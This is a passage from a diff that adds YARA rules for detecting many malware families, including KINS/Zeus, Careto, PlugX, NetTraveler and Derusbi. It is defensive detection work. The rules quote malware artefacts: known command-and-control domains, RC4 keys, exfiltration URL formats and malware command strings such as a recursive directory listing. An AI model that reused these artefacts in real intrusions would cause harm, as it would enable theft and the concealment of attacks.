+        author = "Seth Hardy"
+        last_modified = "2014-06-23"
+    
+    strings:
+        // jmp $+5; push 423h
+        $jumpandpush = { E9 00 00 00 00 68 23 04 00 00 }
+    
+    condition:
+        any of them
+}
+
+private rule Insta11Strings : Insta11 Family
+{
+    meta:
+        description = "Insta11 Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-23"
+        
+    strings:
+        $ = "XTALKER7"
+        $ = "Insta11 Microsoft" wide ascii
+        $ = "wudMessage"
+        $ = "ECD4FC4D-521C-11D0-B792-00A0C90312E1"
+        $ = "B12AE898-D056-4378-A844-6D393FE37956"
+        
+    condition:
+       any of them
+}
+
+rule KINS_dropper {
+	meta:
+		author = "AlienVault Labs aortega@alienvault.com"
+		description = "Match protocol, process injects and windows exploit present in KINS dropper"
+	strings:
+		// Network protocol
+		$n1 = "tid=%d&ta=%s-%x" fullword
+		$n2 = "fid=%d" fullword
+		$n3 = "%[^.].%[^(](%[^)])" fullword
+		// Injects
+		$i0 = "%s [%s %d] 77 %s"
+		$i01 = "Global\\%s%x"
+		$i1 = "Inject::InjectProcessByName()"
+		$i2 = "Inject::CopyImageToProcess()"
+		$i3 = "Inject::InjectProcess()"
+		$i4 = "Inject::InjectImageToProcess()"
+		$i5 = "Drop::InjectStartThread()"
+		// UAC bypass
+		$uac1 = "ExploitMS10_092"
+		$uac2 = "\\globalroot\\systemroot\\system32\\tasks\\" ascii wide
+		$uac3 = "<RunLevel>HighestAvailable</RunLevel>" ascii wide
+	condition:
+		2 of ($n*) and 2 of ($i*) and 2 of ($uac*)
+}
+
+rule KINS_DLL_zeus {
+	meta:
+		author = "AlienVault Labs aortega@alienvault.com"
+		description = "Match default bot in KINS leaked dropper, Zeus"
+	strings:
+		// Network protocol
+		$n1 = "%BOTID%" fullword
+		$n2 = "%opensocks%" fullword
+		$n3 = "%openvnc%" fullword
+		$n4 = /Global\\(s|v)_ev/ fullword
+		// Crypted strings
+		$s1 = "\x72\x6E\x6D\x2C\x36\x7D\x76\x77"
+		$s2 = "\x18\x04\x0F\x12\x16\x0A\x1E\x08\x5B\x11\x0F\x13"
+		$s3 = "\x39\x1F\x01\x07\x15\x19\x1A\x33\x19\x0D\x1F"
+		$s4 = "\x62\x6F\x71\x78\x63\x61\x7F\x69\x2D\x67\x79\x65"
+		$s5 = "\x6F\x69\x7F\x6B\x61\x53\x6A\x7C\x73\x6F\x71"
+	condition:
+		all of ($n*) and 1 of ($s*)
+}
+
+rule leverage_a
+{
+	meta:
+		author = "earada@alienvault.com"
+		version = "1.0"
+		description = "OSX/Leverage.A"
+		date = "2013/09"
+	strings:
+		$a1 = "ioreg -l | grep \"IOPlatformSerialNumber\" | awk -F"
+		$a2 = "+:Users:Shared:UserEvent.app:Contents:MacOS:"
+		$a3 = "rm '/Users/Shared/UserEvent.app/Contents/Resources/UserEvent.icns'"
+		$script1 = "osascript -e 'tell application \"System Events\" to get the hidden of every login item'"
+		$script2 = "osascript -e 'tell application \"System Events\" to get the name of every login item'"
+		$script3 = "osascript -e 'tell application \"System Events\" to get the path of every login item'"
+		$properties = "serverVisible \x00"
+	condition:
+		all of them
+}
+
+private rule LuckyCatCode : LuckyCat Family 
+{
+    meta:
+        description = "LuckyCat code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $xordecrypt = { BF 0F 00 00 00 F7 F7 ?? ?? ?? ?? 32 14 39 80 F2 7B }
+        $dll = { C6 ?? ?? ?? 64 C6 ?? ?? ?? 6C C6 ?? ?? ?? 6C }
+        $commonletters = { B? 63 B? 61 B? 73 B? 65 }
+        
+    condition:
+        $xordecrypt or ($dll and $commonletters)
+}
+
+private rule LuckyCatStrings : LuckyCat Family
+{
+    meta:
+        description = "LuckyCat Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $xorencrypted = { 77 76 75 7B 7A 79 78 7F 7E 7D 7C 73 72 71 70 }
+        $tempvbs = "%s\\~temp.vbs"
+        $countphp = "count.php\x00"
+        $trojanname = "/WMILINK=.*TrojanName=/"
+        $tmpfile = "d0908076343423d3456.tmp"
+        $dirfile = "cmd /c dir /s /a C:\\\\ >'+tmpfolder+'\\\\C.tmp"
+        $ipandmac = "objIP.DNSHostName+'_'+objIP.MACAddress.split(':').join('')+'_'+addinf+'@')"
+        
+    condition:
+       any of them
+}
+private rule LURK0Header : Family LURK0 {
+	meta:
+		description = "5 char code for LURK0"
+		author = "Katie Kleemola"
+		last_updated = "07-21-2014"
+	
+	strings:
+		$ = { C6 [5] 4C C6 [5] 55 C6 [5] 52 C6 [5] 4B C6 [5] 30 }
+
+	condition:
+		any of them
+}
+
+private rule CCTV0Header : Family CCTV0 {
+        meta:  
+		description = "5 char code for LURK0"
+		author = "Katie Kleemola"
+		last_updated = "07-21-2014"
+
+	strings:
+		//if its just one char a time
+		$ = { C6 [5] 43 C6 [5] 43 C6 [5] 54 C6 [5] 56 C6 [5] 30 }
+		// bit hacky but for when samples dont just simply mov 1 char at a time
+		$ = { B0 43 88 [3] 88 [3] C6 [3] 54 C6 [3] 56 [0-12] (B0 30 | C6 [3] 30) }
+
+	condition:
+		any of them
+}
+
+private rule SharedStrings : Family {
+	meta:
+		description = "Internal names found in LURK0/CCTV0 samples"
+		author = "Katie Kleemola"
+		last_updated = "07-22-2014"
+	
+	strings:
+		// internal names
+		$i1 = "Butterfly.dll"
+		$i2 = /\\BT[0-9.]+\\ButterFlyDLL\\/
+		$i3 = "ETClientDLL"
+
+		// dbx
+		$d1 = "\\DbxUpdateET\\" wide
+		$d2 = "\\DbxUpdateBT\\" wide
+		$d3 = "\\DbxUpdate\\" wide
+		
+		// other folders
+		$mc1 = "\\Micet\\"
+
+		// embedded file names
+		$n1 = "IconCacheEt.dat" wide
+		$n2 = "IconConfigEt.dat" wide
+
+		$m1 = "\x00\x00ERXXXXXXX\x00\x00" wide
+		$m2 = "\x00\x00111\x00\x00" wide
+		$m3 = "\x00\x00ETUN\x00\x00" wide
+		$m4 = "\x00\x00ER\x00\x00" wide
+
+	condition:
+		any of them //todo: finetune this
+
+}
+
+private rule MacControlCode : MacControl Family 
+{
+    meta:
+        description = "MacControl code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-17"
+        
+    strings:
+        // Load these function strings 4 characters at a time. These check the first two blocks:
+        $L4_Accept = { C7 ?? 41 63 63 65 C7 ?? 04 70 74 3A 20 }
+        $L4_AcceptLang = { C7 ?? 41 63 63 65 C7 ?? 04 70 74 2D 4C }
+        $L4_Pragma = { C7 ?? 50 72 61 67 C7 ?? 04 6D 61 3A 20 }
+        $L4_Connection = { C7 ?? 43 6F 6E 6E C7 ?? 04 65 63 74 69 }
+        $GEThgif = { C7 ?? 47 45 54 20 C7 ?? 04 2F 68 2E 67 }
+        
+    condition:
+        all of ($L4*) or $GEThgif
+}
+
+private rule MacControlStrings : MacControl Family
+{
+    meta:
+        description = "MacControl Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-17"
+        
+    strings:
+        $ = "HTTPHeadGet"
+        $ = "/Library/launched"
+        $ = "My connect error with no ip!"
+        $ = "Send File is Failed"
+        $ = "****************************You Have got it!****************************"
+        
+    condition:
+        any of them
+}
+rule Careto {
+	meta:
+		author = "AlienVault (Alberto Ortega)"
+		description = "TheMask / Careto generic malware signature"
+		reference = "www.securelist.com/en/downloads/vlpdfs/unveilingthemask_v1.0.pdf"
+	strings:
+
+		/* General */
+		$name1 = "Careto" ascii wide
+		$s_1 = "GetSystemReport" ascii wide
+		$s_2 = "SystemReport.txt" ascii wide
+		$s_3 = /URL_AUX\w*=/ ascii wide
+		$s_4 = /CaretoPruebas.+release/
+
+		/* Certificate */
+		$sign_0 = "Sofia"
+		$sign_1 = "TecSystem Ltd"
+		$sign_2 = "<<<Obsolete>>>" wide
+
+		/* Encryption keys */
+		$rc4_1 = "!$7be&.Kaw-12[}" ascii wide
+		$rc4_2 = "Caguen1aMar" ascii wide
+		/* http://laboratorio.blogs.hispasec.com/2014/02/analisis-del-algoritmo-de-descifrado.html */
+		$rc4_3 = {8d 85 86 8a 8f 80 88 83 8d 82 88 85 86 8f 8f 87 8d 82 83 82 8c 8e 83 8d 89 82 86 87 82 83 83 81}
+
+		/* Decryption routine fragment */
+		$dec_1 = {8b 4d 08 0f be 04 59 0f be 4c 59 01 2b c7 c1 e0 04 2b cf 0b c1 50 8d 85 f0 fe ff ff}
+		$dec_2 = {8b 4d f8 8b 16 88 04 11 8b 06 41 89 4d f8 c6 04 01 00 43 3b 5d fc}
+
+	condition:
+		$name1 and (any of ($s_*)) or all of ($sign_*) or any of ($rc4_*) or all of ($dec_*)
+}
+
+rule Careto_SGH {
+	meta:
+		author = "AlienVault (Alberto Ortega)"
+		description = "TheMask / Careto SGH component signature"
+		reference = "www.securelist.com/en/downloads/vlpdfs/unveilingthemask_v1.0.pdf"
+	strings:
+		$m1 = "PGPsdkDriver" ascii wide fullword
+		$m2 = "jpeg1x32" ascii wide fullword
+		$m3 = "SkypeIE6Plugin" ascii wide fullword
+		$m4 = "CDllUninstall" ascii wide fullword
+	condition:
+		2 of them
+}
+
+rule Careto_OSX_SBD {
+	meta:
+		author = "AlienVault (Alberto Ortega)"
+		description = "TheMask / Careto OSX component signature"
+		reference = "www.securelist.com/en/downloads/vlpdfs/unveilingthemask_v1.0.pdf"
+	strings:
+		/* XORed "/dev/null strdup() setuid(geteuid())" */
+		$1 = {FF 16 64 0A 7E 1A 63 4D 21 4D 3E 1E 60 0F 7C 1A 65 0F 74 0B 3E 1C 7F 12}
+	condition:
+		all of them
+}
+
+rule Careto_CnC {
+	meta:
+		author = "AlienVault (Alberto Ortega)"
+		description = "TheMask / Careto CnC communication signature"
+		reference = "www.securelist.com/en/downloads/vlpdfs/unveilingthemask_v1.0.pdf"
+	strings:
+		$1 = "cgi-bin/commcgi.cgi" ascii wide
+		$2 = "Group" ascii wide
+		$3 = "Install" ascii wide
+		$4 = "Bn" ascii wide
+	condition:
+		all of them
+}
+
+rule Careto_CnC_domains {
+	meta:
+		author = "AlienVault (Alberto Ortega)"
+		description = "TheMask / Careto known command and control domains"
+		reference = "www.securelist.com/en/downloads/vlpdfs/unveilingthemask_v1.0.pdf"
+	strings:
+		$1 = "linkconf.net" ascii wide nocase
+		$2 = "redirserver.net" ascii wide nocase
+		$3 = "swupdt.com" ascii wide nocase
+	condition:
+		any of them
+}
+
+private rule MirageStrings : Mirage Family
+{
+    meta:
+        description = "Mirage Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        $ = "Neo,welcome to the desert of real." wide ascii
+        $ = "/result?hl=en&id=%s"
+        
+    condition:
+       any of them
+}
+
+private rule MongalCode : Mongal Family 
+{
+    meta:
+        description = "Mongal code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-15"
+    
+    strings:
+        // gettickcount value checking
+        $ = { 8B C8 B8 D3 4D 62 10 F7 E1 C1 EA 06 2B D6 83 FA 05 76 EB }
+        
+    condition:
+        any of them
+}
+
+private rule MongalStrings : Mongal Family
+{
+    meta:
+        description = "Mongal Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-15"
+        
+    strings:
+        $ = "NSCortr.dll"
+        $ = "NSCortr1.dll"
+        $ = "Sina.exe"
+        
+    condition:
+        any of them
+}
+private rule NaikonCode : Naikon Family 
+{
+    meta:
+        description = "Naikon code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+    
+    strings:
+        // decryption
+        $ = { 0F AF C1 C1 E0 1F } // imul eax, ecx; shl eah, 1fh
+        $ = { 35 5A 01 00 00} // xor eax, 15ah
+        $ = { 81 C2 7F 14 06 00 } // add edx, 6147fh
+    
+    condition:
+        all of them
+}
+
+private rule NaikonStrings : Naikon Family
+{
+    meta:
+        description = "Naikon Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        $ = "NOKIAN95/WEB"
+        $ = "/tag=info&id=15"
+        $ = "skg(3)=&3.2d_u1"
+        $ = "\\Temp\\iExplorer.exe"
+        $ = "\\Temp\\\"TSG\""
+        
+    condition:
+       any of them
+}
+private rule nAspyUpdateCode : nAspyUpdate Family 
+{
+    meta:
+        description = "nAspyUpdate code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-14"
+    
+    strings:
+        // decryption loop in dropper
+        $ = { 8A 54 24 14 8A 01 32 C2 02 C2 88 01 41 4E 75 F4 }
+        
+    condition:
+        any of them
+}
+
+private rule nAspyUpdateStrings : nAspyUpdate Family
+{
+    meta:
+        description = "nAspyUpdate Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-14"
+        
+    strings:
+        $ = "\\httpclient.txt"
+        $ = "password <=14"
+        $ = "/%ldn.txt"
+        $ = "Kill You\x00"
+        
+    condition:
+        any of them
+}
+//will match both exe and dll components
+private rule NetTravExports : NetTraveler Family {
+
+	meta:
+		description = "Export names for dll component"
+		author = "Katie Kleemola"
+		last_updated = "2014-05-20"
+	
+	strings:
+		//dll component exports
+		$ = "?InjectDll@@YAHPAUHWND__@@K@Z"
+		$ = "?UnmapDll@@YAHXZ"
+		$ = "?g_bSubclassed@@3HA"
+		
+	condition:
+		any of them
+}
+
+private rule NetTravStrings : NetTraveler Family {
+
+
+	meta:
+        	description = "Identifiers for NetTraveler DLL"
+		author = "Katie Kleemola"
+        	last_updated = "2014-05-20"
+
+	strings:
+		//network strings
+		$ = "?action=updated&hostid="
+		$ = "travlerbackinfo"
+		$ = "?action=getcmd&hostid="
+		$ = "%s?action=gotcmd&hostid="
+		$ = "%s?hostid=%s&hostname=%s&hostip=%s&filename=%s&filestart=%u&filetext="
+
+		//debugging strings
+		$ = "\x00Method1 Fail!!!!!\x00"
+		$ = "\x00Method3 Fail!!!!!\x00"
+		$ = "\x00method currect:\x00"
+		$ = /\x00\x00[\w\-]+ is Running!\x00\x00/
+		$ = "\x00OtherTwo\x00"
+
+	condition:
+		any of them
+
+}
+
+private rule NetpassStrings : NetPass Variant {
+
+        meta:
+                description = "Identifiers for netpass variant"
+                author = "Katie Kleemola"
+                last_updated = "2014-05-29"
+
+        strings:
+		$exif1 = "Device Protect ApplicatioN" wide
+		$exif2 = "beep.sys" wide //embedded exe name
+		$exif3 = "BEEP Driver" wide //embedded exe description
+		
+		$string1 = "\x00NetPass Update\x00"
+		$string2 = "\x00%s:DOWNLOAD\x00"
+		$string3 = "\x00%s:UPDATE\x00"
+		$string4 = "\x00%s:uNINSTALL\x00"
+
+        condition:
+                all of ($exif*) or any of ($string*)
+
+}	
+
+private rule NSFreeCode : NSFree Family 
+{
+    meta:
+        description = "NSFree code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-24"
+    
+    strings:
+        // push vars then look for MZ
+        $ = { 53 56 57 66 81 38 4D 5A }
+        // nops then look for PE\0\0
+        $ = { 90 90 90 90 81 3F 50 45 00 00 }
+    
+    condition:
+        all of them
+}
+
+private rule NSFreeStrings : NSFree Family
+{
+    meta:
+        description = "NSFree Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-24"
+        
+    strings:
+        $ = "\\MicNS\\" nocase
+        $ = "NSFreeDll" wide ascii
+        // xor 0x58 dos stub
+        $ = { 0c 30 31 2b 78 28 2a 37 3f 2a 39 35 78 3b 39 36 36 37 }
+        
+    condition:
+       any of them
+}
+
+private rule OlyxCode : Olyx Family 
+{
+    meta:
+        description = "Olyx code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $six = { C7 40 04 36 36 36 36 C7 40 08 36 36 36 36 }
+        $slash = { C7 40 04 5C 5C 5C 5C C7 40 08 5C 5C 5C 5C }
+        
+    condition:
+        any of them
+}
+
+private rule OlyxStrings : Olyx Family
+{
+    meta:
+        description = "Olyx Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $ = "/Applications/Automator.app/Contents/MacOS/DockLight"
+       
+    condition:
+        any of them
+}
+private rule PlugXBootLDRCode : PlugX Family 
+{
+    meta:
+        description = "PlugX boot.ldr code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-12"
+        
+    strings:
+        //$callpop = { E8 00 00 00 00 58 }
+        // Compares [eax+n] to GetProcAdd, one character at a time. This goes up to GetP:
+        $GetProcAdd = { 80 38 47 75 36 80 78 01 65 75 30 80 78 02 74 75 2A 80 78 03 50 }
+        // Load these function strings 4 characters at a time. These check the first two blocks:
+        $L4_LoadLibraryA = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 4C 6F 61 64 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 4C 69 62 72 }
+        $L4_VirtualAlloc = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 56 69 72 74 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 75 61 6C 41 }
+        $L4_VirtualFree = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 56 69 72 74 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 75 61 6C 46 }
+        $L4_ExitThread = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 45 78 69 74 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 54 68 72 65 }
+        $L4_ntdll = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 6E 74 64 6C 66 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) C6 00 }
+        $L4_RtlDecompressBuffer = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 52 74 6C 44 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 65 63 6F 6D }
+        $L4_memcpy = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 6D 65 6D 63 66 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 70 79 }
+        
+    condition:
+        /*($callpop at 0) or*/ $GetProcAdd or (all of ($L4_*))
+}
+
+private rule PlugXStrings : PlugX Family
+{
+    meta:
+        description = "PlugX Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-12"
+        
+    strings:
+        $BootLDR = "boot.ldr" wide ascii
+        $Dwork = "d:\\work" nocase
+        $Plug25 = "plug2.5"
+        $Plug30 = "Plug3.0"
+        $Shell6 = "Shell6"
+      
+    condition:
+        $BootLDR or ($Dwork and ($Plug25 or $Plug30 or $Shell6))
+}
+
+private rule PubSabCode : PubSab Family 
+{
+    meta:
+        description = "PubSab code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $decrypt = { 6B 45 E4 37 89 CA 29 C2 89 55 E4 }
+        
+    condition:
+        any of them
+}
+
+private rule PubSabStrings : PubSab Family
+{
+    meta:
+        description = "PubSab Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $ = "_deamon_init"
+        $ = "com.apple.PubSabAgent"
+        $ = "/tmp/screen.jpeg"
+       
+    condition:
+        any of them
+}
+private rule QuarianCode : Quarian Family 
+{
+    meta:
+        description = "Quarian code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-09"
+    
+    strings:
+        // decrypt in intelnat.sys
+        $ = { C1 E? 04 8B ?? F? C1 E? 05 33 C? }
+        // decrypt in mswsocket.dll
+        $ = { C1 EF 05 C1 E3 04 33 FB }
+        $ = { 33 D8 81 EE 47 86 C8 61 }
+        // loop in msupdate.dll
+        $ = { FF 45 E8 81 45 EC CC 00 00 00 E9 95 FE FF FF }
+    
+    condition:
+        any of them
+}
+
+private rule QuarianStrings : Quarian Family
+{
+    meta:
+        description = "Quarian Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-09"
+        
+    strings:
+        $ = "s061779s061750"
+        $ = "[OnUpLoadFile]"
+        $ = "[OnDownLoadFile]"
+        $ = "[FileTransfer]"
+        $ = "---- Not connect the Manager, so start UnInstall ----"
+        $ = "------- Enter CompressDownLoadDir ---------"
+        $ = "------- Enter DownLoadDirectory ---------"
+        $ = "[HandleAdditionalData]"
+        $ = "[mswsocket.dll]"
+        $ = "msupdate.dll........Enter ThreadCmd!"
+        $ = "ok1-1"
+        $ = "msupdate_tmp.dll"
+        $ = "replace Rpcss.dll successfully!"
+        $ = "f:\\loadhiddendriver-mdl\\objfre_win7_x86\\i386\\intelnat.pdb"
+        $ = "\\drivercashe\\" wide ascii
+        $ = "\\microsoft\\windwos\\" wide ascii
+        $ = "\\DosDevices\\LOADHIDDENDRIVER" wide ascii
+        $ = "\\Device\\LOADHIDDENDRIVER" wide ascii
+        $ = "Global\\state_maping" wide ascii
+        $ = "E:\\Code\\2.0\\2.0_multi-port\\2.0\\ServerInstall_New-2010-0913_sp3\\msupdataDll\\Release\\msupdate_tmp.pdb"
+        $ = "Global\\unInstall_event_1554_Ower" wide ascii
+        
+    condition:
+       any of them
+}
+private rule RegSubDatCode : RegSubDat Family 
+{
+    meta:
+        description = "RegSubDat code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-14"
+    
+    strings:
+        // decryption loop
+        $ = { 80 34 3? 99 40 (3D FB 65 00 00 | 3B C6) 7? F? }
+        // push then pop values
+        $ = { 68 FF FF 7F 00 5? }
+        $ = { 68 FF 7F 00 00 5? }
+    
+    condition:
+        all of them
+}
+
+private rule RegSubDatStrings : RegSubDat Family
+{
+    meta:
+        description = "RegSubDat Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-14"
+        
+    strings:
+        $avg1 = "Button"
+        $avg2 = "Allow"
+        $avg3 = "Identity Protection"
+        $avg4 = "Allow for all"
+        $avg5 = "AVG Firewall Asks For Confirmation"
+        $mutex = "0x1A7B4C9F"
+        
+    condition:
+       all of ($avg*) or $mutex
+}
+
+private rule RSharedStrings : Surtr Family {
+	meta:
+		description = "identifiers for remote and gmremote"
+		author = "Katie Kleemola"
+		last_updated = "07-21-2014"
+	
+	strings:
+		$ = "nView_DiskLoydb" wide
+		$ = "nView_KeyLoydb" wide
+		$ = "nView_skins" wide
+		$ = "UsbLoydb" wide
+		$ = "%sBurn%s" wide
+		$ = "soul" wide
+
+	condition:
+		any of them
+
+}
+
+
+private rule RemoteStrings : Remote Variant Surtr Family {
+	meta:
+		description = "indicators for remote.dll - surtr stage 2"
+		author = "Katie Kleemola"
+		last_updated = "07-21-2014"
+	
+	strings:
+		$ = "\x00Remote.dll\x00"
+		$ = "\x00CGm_PlugBase::"
+		$ = "\x00ServiceMain\x00_K_H_K_UH\x00"
+		$ = "\x00_Remote_\x00" wide
+	condition:
+		any of them
+}
+
+private rule GmRemoteStrings : GmRemote Variant Family Surtr {
+	meta:
+		description = "identifiers for gmremote: surtr stage 2"
+		author = "Katie Kleemola"
+		last_updated = "07-21-2014"
+	
+	strings:
+		$ = "\x00x86_GmRemote.dll\x00"
+		$ = "\x00D:\\Project\\GTProject\\Public\\List\\ListManager.cpp\x00"
+		$ = "\x00GmShutPoint\x00"
+		$ = "\x00GmRecvPoint\x00"
+		$ = "\x00GmInitPoint\x00"
+		$ = "\x00GmVerPoint\x00"
+		$ = "\x00GmNumPoint\x00"
+		$ = "_Gt_Remote_" wide
+		$ = "%sBurn\\workdll.tmp" wide
+	
+	condition:
+		any of them
+
+}
+
+/*
+ * Check if File has shared identifiers among Surtr Stage 2's
+ * Then look for unique identifiers to each variant
+*/
+
+rule GmRemote : Family Surtr Variant GmRemote {
+	meta:
+		description = "identifier for gmremote"
+		author = "Katie Kleemola"
+		last_updated = "07-25-2014"
+	
+	condition:
+		RSharedStrings and GmRemoteStrings
+}
+
+private rule RookieCode : Rookie Family 
+{
+    meta:
+        description = "Rookie code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        // hidden AutoConfigURL
+        $ = { C6 ?? ?? ?? 41 C6 ?? ?? ?? 75 [4] C6 ?? ?? ?? 6F C6 ?? ?? ?? 43 C6 ?? ?? ?? 6F C6 ?? ?? ?? 6E C6 ?? ?? ?? 66 }
+        // hidden ProxyEnable
+        $ = { C6 ?? ?? ?? 50 [4] C6 ?? ?? ?? 6F C6 ?? ?? ?? 78 C6 ?? ?? ?? 79 C6 ?? ?? ?? 45 C6 ?? ?? ?? 6E C6 ?? ?? ?? 61 }
+        // xor on rand value?
+        $ = { 8B 1D 10 A1 40 00 [18] FF D3 8A 16 32 D0 88 16 }
+
+    condition:
+        any of them
+}
+
+private rule RookieStrings : Rookie Family
+{
+    meta:
+        description = "Rookie Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        $ = "RookIE/1.0"
+        
+    condition:
+       any of them
+}
+private rule RooterCode : Rooter Family 
+{
+    meta:
+        description = "Rooter code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+    
+    strings:
+        // xor 0x30 decryption
+        $ = { 80 B0 ?? ?? ?? ?? 30 40 3D 00 50 00 00 7C F1 }
+    
+    condition:
+        any of them
+}
+
+private rule RooterStrings : Rooter Family
+{
+    meta:
+        description = "Rooter Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+        
+    strings:
+        $group1 = "seed\x00"
+        $group2 = "prot\x00"
+        $group3 = "ownin\x00"
+        $group4 = "feed0\x00"
+        $group5 = "nown\x00"
+
+    condition:
+       3 of ($group*)
+}
+
+private rule SafeNetCode : SafeNet Family 
+{
+    meta:
+        description = "SafeNet code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-16"
+        
+    strings:
+        // add edi, 14h; cmp edi, 50D0F8h
+        $ = { 83 C7 14 81 FF F8 D0 40 00 }
+    condition:
+        any of them
+}
+
+private rule SafeNetStrings : SafeNet Family
+{
+    meta:
+        description = "Strings used by SafeNet"
+        author = "Seth Hardy"
+        last_modified = "2014-07-16"
+        
+    strings:
+        $ = "6dNfg8Upn5fBzGgj8licQHblQvLnUY19z5zcNKNFdsDhUzuI8otEsBODrzFCqCKr"
+        $ = "/safe/record.php"
+        $ = "_Rm.bat" wide ascii
+        $ = "try\x0d\x0a\x09\x09\x09\x09  del %s" wide ascii
+        $ = "Ext.org" wide ascii
+        
+    condition:
+        any of them
+
+}
+
+private rule ScarhiknCode : Scarhikn Family 
+{
+    meta:
+        description = "Scarhikn code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+    
+    strings:
+        // decryption
+        $ = { 8B 06 8A 8B ?? ?? ?? ?? 30 0C 38 03 C7 55 43 E8 ?? ?? ?? ?? 3B D8 59 72 E7 }
+        $ = { 8B 02 8A 8D ?? ?? ?? ?? 30 0C 30 03 C6 8B FB 83 C9 FF 33 C0 45 F2 AE F7 D1 49 3B E9 72 E2 }
+    
+    condition:
+        any of them
+}
+
+private rule ScarhiknStrings : Scarhikn Family
+{
+    meta:
+        description = "Scarhikn Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        $ = "9887___skej3sd"
+        $ = "haha123"
+        
+    condition:
+       any of them
+}
+
+rule Scieron
+{
+    meta:
+        author = "Symantec Security Response"
+        ref = "http://www.symantec.com/connect/tr/blogs/scarab-attackers-took-aim-select-russian-targets-2012"
+        date = "22.01.15"
+
+    strings:
+        // .text:10002069 66 83 F8 2C                       cmp     ax, ','
+        // .text:1000206D 74 0C                             jz      short loc_1000207B
+        // .text:1000206F 66 83 F8 3B                       cmp     ax, ';'
+        // .text:10002073 74 06                             jz      short loc_1000207B
+        // .text:10002075 66 83 F8 7C                       cmp     ax, '|'
+        // .text:10002079 75 05                             jnz     short loc_10002080
+        $code1 = {66 83 F? 2C 74 0C 66 83 F? 3B 74 06 66 83 F? 7C 75 05}
+        
+        // .text:10001D83 83 F8 09                          cmp     eax, 9          ; switch 10 cases
+        // .text:10001D86 0F 87 DB 00 00 00                 ja      loc_10001E67    ; jumptable 10001D8C default case
+        // .text:10001D8C FF 24 85 55 1F 00+                jmp     ds:off_10001F55[eax*4] ; switch jump
+        $code2 = {83 F? 09 0F 87 ?? 0? 00 00 FF 24}
+        
+        $str1  = "IP_PADDING_DATA" wide ascii
+        $str2  = "PORT_NUM" wide ascii
+        
+    condition:
+        all of them
+}
+
+rule TROJAN_Notepad {
+    meta:
+        Author = "RSA_IR"
+        Date     = "4Jun13"
+        File     = "notepad.exe v 1.1"
+        MD5      = "106E63DBDA3A76BEEB53A8BBD8F98927"
+    strings:
+        $s1 = "75BAA77C842BE168B0F66C42C7885997"
+        $s2 = "B523F63566F407F3834BCC54AAA32524"
+    condition:
+        $s1 or $s2
+}
+rule Trojan_Derusbi {
+    meta:
+        Author = "RSA_IR"
+        Date     = "4Sept13"
+        File     = "derusbi_variants v 1.3"
+        MD5      = " c0d4c5b669cc5b51862db37e972d31ec "
+
+    strings:
+        $b1 = {8b 15 ?? ?? ?? ?? 8b ce d3 ea 83 c6 ?? 30 90 ?? ?? ?? ?? 40 3b 05 ?? ?? ?? ?? 72 ??}
+        $b2 = {F3 5D 88 2E ?? ?? 00 00 BE 07 18 2E F0 5D 88 2E F7 5D 88 2E 0C A2 88 2E 4B 5D 88 2E F3 5D 88 2E}
+        $b3 = {4E E6 40 BB}
+        $b4 = {B1 19 BF 44}
+        $b5 = {6A F5 44 3D ?? ?? 00 00 27 AF D4 3D 69 F5 44 3D 6E F5 44 3D 95 0A 44 3D D2 F5 44 3D 6A F5 44 3D}
+        $b6 = {F3 5D 88 2E ?? ?? 00 00 BE 07 18 2E F0 5D 88 2E}
+        $b7 = {D6 D5 A4 A3 ?? ?? 00 00 9B 8F 34 A3 D5 D5 A4 A3 D2 D5 A4 A3 29 2A A4 A3}
+        $b8 = {C3 76 33 9F ?? ?? 00 00 8E 2C A3 9F C0 76 33 9F C7 76 33 9F 3C 89 33 9F}
+
+    condition:
